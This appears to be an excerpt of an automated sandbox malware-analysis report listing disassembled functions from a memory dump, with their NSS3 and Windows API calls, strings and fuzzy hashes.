Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSkl"
API String ID: 2709355791-1689580949
Opcode ID: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction ID: a7f36f5b1f10008e451f27248ddb2f92d77968af8bce7bdb8b7c384813588b39
Opcode Fuzzy Hash: 6ea7ea6dd0346f6b9848cede1c5a9bdd60794bfb0e3f38d3571a5f76278fd49b
Instruction Fuzzy Hash: 6F516A71A051568BEF01CA69C4907FF7BF99F82348F188125F894B7B41D375882787A9

Function 6C6DEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEF6D

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

htonl.WSOCK32(00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFE4
htonl.WSOCK32(?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DEFF1
memcpy.VCRUNTIME140(?,?,6C6FA4A1,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6C6FA4A1,?,00000000,?,00000001), ref: 6C6DF027

Strings

dtls13, xrefs: 6C6DEF33

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction ID: ecd8c5e6668204c506d718739335e40a612b500885558402c1543b237c6032f5
Opcode Fuzzy Hash: 0da85b9dc1803a85e214d7a9c19cf588ec6e28d78cbd95df8c540a723329ca5e
Instruction Fuzzy Hash: B231F471A01215AFCB10DF28DC84B9AB7E4EF49348F168029EC189B751E731F915CBEA

Function 6C65AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C65AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C779500,6C653F91), ref: 6C65AFD2

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

DER_GetInteger_Util.NSS3(?), ref: 6C65B007

Part of subcall function 6C6A6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6C651666,?,6C65B00C,?), ref: 6C6A6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C65B02F
PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C65B046
PL_FreeArenaPool.NSS3 ref: 6C65B058
PL_FinishArenaPool.NSS3 ref: 6C65B060

Strings

security, xrefs: 6C65AFB8

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction ID: 1fd20ca1fcb72f99faedad4d98bafb37a15329d6935a2108ad0f7f5a6510a230
Opcode Fuzzy Hash: b07f7e54407c8b369bd2bad0f037e4871998222b5187d0154b80b53525466e75
Instruction Fuzzy Hash: 893134714043009BDB108F28DC45BAA77A4AFC632CF640618F9B5ABBD1E3329519CB9F

Function 6C653E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
PL_FreeArenaPool.NSS3 ref: 6C653F14
PL_FinishArenaPool.NSS3 ref: 6C653F1C

Part of subcall function 6C6B64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C6B127C,00000000,00000000,00000000), ref: 6C6B650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Strings

security, xrefs: 6C653EBC

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction ID: c5d02ec50858d65f4381e95fc662b75ef7a264a6aa8cfa4c344122c18e77512d
Opcode Fuzzy Hash: 5b5e1a6b4ca93de2bd06ccbf1db2e12d27a4f878acff9bb9dec209ebeb2dccfc
Instruction Fuzzy Hash: C521F8B1904304ABD3148B15AC41FAB77A8FF8971CF44053DF949A7B41E731DA28879E

Function 6C68ACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C68ACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C68AD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C68AD23

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C68AD39

Strings

nvl, xrefs: 6C68AD51, 6C68AD7B
hSession = 0x%x, xrefs: 6C68ACFE, 6C68AD0E
C_MessageDecryptFinal, xrefs: 6C68ACE1
(CK_INVALID_HANDLE), xrefs: 6C68AD1C

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nvl
API String ID: 332880674-330980815
Opcode ID: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction ID: ba6031fb8856be6d5744ec77cf8d1ff17a54fd97165969be7e65d26683861df6
Opcode Fuzzy Hash: 5d923c4cd5bed18b10add13453d4df680dff935014f3639c1a514e10046f296f
Instruction Fuzzy Hash: 4621D7716021589FDB109F64DE8CFAA37B5AB4631DF044435ED09EBB92DB309908C7AE

Function 6C69CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C69CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C69CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C69D079

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction ID: 0b0718d146fefe746c59d6b7c5bac8e0647e81cdee7405995bb58c41f2e834b5
Opcode Fuzzy Hash: ffff5cb5bcf6bb40fcbd454a502bf5fd3d55d971741db0ef5b09d3b1ce90bf61
Instruction Fuzzy Hash: 6DC18FB1A0021A9BDB10CF24CC80BDAB7B4BF49318F1441A8E94DA7741E775EE95CF98

Function 6C68DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C6997C1,?,00000000,00000000,?,?,?,00000000,?,6C677F4A,00000000), ref: 6C68DC68

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C677F4A,00000000,?,00000000,00000000), ref: 6C68DFAA

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(DFA89462), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
